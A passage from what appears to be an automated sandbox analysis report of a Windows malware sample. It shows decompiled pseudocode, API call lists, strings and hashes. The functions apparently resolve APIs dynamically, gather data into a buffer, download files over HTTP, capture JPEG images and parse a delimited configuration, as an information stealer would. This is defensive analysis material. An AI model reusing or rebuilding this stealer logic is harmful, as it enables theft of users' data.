InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

200, xrefs: 00404AD9
https, xrefs: 00404A28

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x715680
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x715680
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x714880
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x717bc8
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x717d78
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x718558
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x717c58
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x7185f8
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x717c70
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00715680,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00715680,?), ref: 00407994
LoadLibraryA.KERNEL32(00714880), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00717BC8), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00717D78), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00718558), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00717C58), ref: 00407A20
GetProcAddress.KERNEL32(00000000,007185F8), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00717C70), ref: 00407A51

Strings

X|q, xrefs: 00407A13
x}q, xrefs: 004079E2
p|q, xrefs: 00407A44

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: X|q$p|q$x}q
API String ID: 570708976-1131462879
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				 *0x41a838 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
				E00407060();
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x7189a0
				_t307 =  *0x41a250; // 0x716c90
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16);
				_t243 =  *0x41a1dc; // 0x717f58
				_t309 =  *0x41a7a0; // 0x718758
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16);
				_t245 =  *0x41a750; // 0x717f40
				_t311 =  *0x41a09c; // 0x716e70
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16);
				_t247 =  *0x41a27c; // 0x7189f0
				_t313 =  *0x41a7cc; // 0x7186f8
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16);
				_t249 =  *0x41a520; // 0x718a10
				_t315 =  *0x41a638; // 0x718518
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16);
				_t251 =  *0x41a42c; // 0x718900
				_t317 =  *0x41a7d8; // 0x718538
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16);
				_t253 =  *0x41a5c8; // 0x718980
				_t319 =  *0x41a390; // 0x718638
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16);
				_t255 =  *0x41a47c; // 0x718a20
				_t321 =  *0x41a068; // 0x716d80
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16);
				_t257 =  *0x41a24c; // 0x717fa0
				_t323 =  *0x41a168; // 0x718718
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16);
				_t259 =  *0x41a3e0; // 0x717f28
				_t325 =  *0x41a1d4; // 0x717f70
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16);
				_t261 =  *0x41a028; // 0x718920
				_t327 =  *0x41a5e0; // 0x718738
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16);
				_t263 =  *0x41a614; // 0x718940
				_t329 =  *0x41a738; // 0x716d58
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16);
				_t265 =  *0x41a444; // 0x718990
				_t331 =  *0x41a338; // 0x7182b8
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16);
				_t267 =  *0x41a094; // 0x718870
				_t333 =  *0x41a304; // 0x716fb0
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16);
				_t269 =  *0x41a440; // 0x7189b0
				_t335 =  *0x41a588; // 0x716cb8
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16);
				_t271 =  *0x41a54c; // 0x7188b0
				_t337 =  *0x41a764; // 0x718378
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16);
				_t273 =  *0x41a6e0; // 0x718960
				_t339 =  *0x41a6b4; // 0x718078
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16);
				_t275 =  *0x41a100; // 0x717e50
				_t341 =  *0x41a078; // 0x716ce0
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16);
				_t277 =  *0x41a708; // 0x7189c0
				_t343 =  *0x41a5c4; // 0x717e80
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16);
				_t279 =  *0x41a114; // 0x717ee0
				_t345 =  *0x41a634; // 0x7170a0
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16);
				_t281 =  *0x41a3e8; // 0x718a00
				_t347 =  *0x41a414; // 0x7151d0
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16);
				_t283 =  *0x41a398; // 0x7189d0
				_t349 =  *0x41a024; // 0x717000
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16);
				_t285 =  *0x41a3bc; // 0x718a40
				_t351 =  *0x41a2c8; // 0x714f60
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16);
				_t287 =  *0x41a5c0; // 0x717ef8
				_t353 =  *0x41a320; // 0x715260
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16);
				_t289 =  *0x41a350; // 0x7188a0
				_t355 =  *0x41a0c4; // 0x717028
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16);
				_t291 =  *0x41a2ec; // 0x717f10
				_t357 =  *0x41a620; // 0x714f30
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16);
				_t293 =  *0x41a020; // 0x717e68
				_t359 =  *0x41a704; // 0x7123c8
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16);
				_t295 =  *0x41a3d0; // 0x717f88
				_t361 =  *0x41a224; // 0x7183b8
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16);
				_t297 =  *0x41a29c; // 0x717fe8
				_t363 =  *0x41a7e0; // 0x714ff0
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16);
				_t299 =  *0x41a57c; // 0x717fb8
				_t365 =  *0x41a34c; // 0x7126d8
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16);
				_t301 =  *0x41a060; // 0x7189e0
				_t367 =  *0x41a0d0; // 0x717050
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16);
				_t303 =  *0x41a1ec; // 0x718a30
				_t369 =  *0x41a6dc; // 0x718000
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16);
				_t304 =  *0x41a21c; // 0x717e98
				_t370 =  *0x41a484; // 0x7183d8
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0);
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x717eb0
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4);
				E00407150();
				return E00407170();
			}

0x0040a700
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(00716EC0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00717E38), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007187D8), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00717D48), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00718458), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007187F8), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00717B68), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007185B8), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00718498), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00717C10), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00717C10), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000000), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,00717C28), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(007174A8), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(00000000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

(pq, xrefs: 0040AAD2
Ppq, xrefs: 0040ABB6
`Oq, xrefs: 0040AA86
P~q, xrefs: 0040A9C1
lq, xrefs: 0040A9C8
Xmq, xrefs: 0040A8E4
h~q, xrefs: 0040AB17
~q, xrefs: 0040AA0D
0Oq, xrefs: 0040AAF8
pnq, xrefs: 0040A78E
`Rq, xrefs: 0040AAAC

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: (pq$0Oq$Ppq$P~q$Xmq$`Oq$`Rq$h~q$pnq$lq$~q
API String ID: 3801270024-671935540
Opcode ID: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00717D30), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00717D90), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,007184D8), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Strings

0}q, xrefs: 004083D3

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: 0}q
API String ID: 2806430148-1723431571
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x716ec0
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x717e38
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x7187d8
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x717d48
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x718458
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x7187f8
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x717b68
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x7185b8
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x718498
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00716EC0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00717E38), ref: 0040708F
GetProcAddress.KERNEL32(00000000,007187D8), ref: 004070A7
GetProcAddress.KERNEL32(00000000,00717D48), ref: 004070BF
GetProcAddress.KERNEL32(00000000,00718458), ref: 004070D8
GetProcAddress.KERNEL32(00000000,007187F8), ref: 004070F0
GetProcAddress.KERNEL32(00000000,00717B68), ref: 00407108
GetProcAddress.KERNEL32(00000000,007185B8), ref: 00407121
GetProcAddress.KERNEL32(00000000,00718498), ref: 00407139

Strings

8~q, xrefs: 00407081
h{q, xrefs: 004070FB
H}q, xrefs: 004070B2

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8~q$H}q$h{q
API String ID: 2238633743-234732220
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
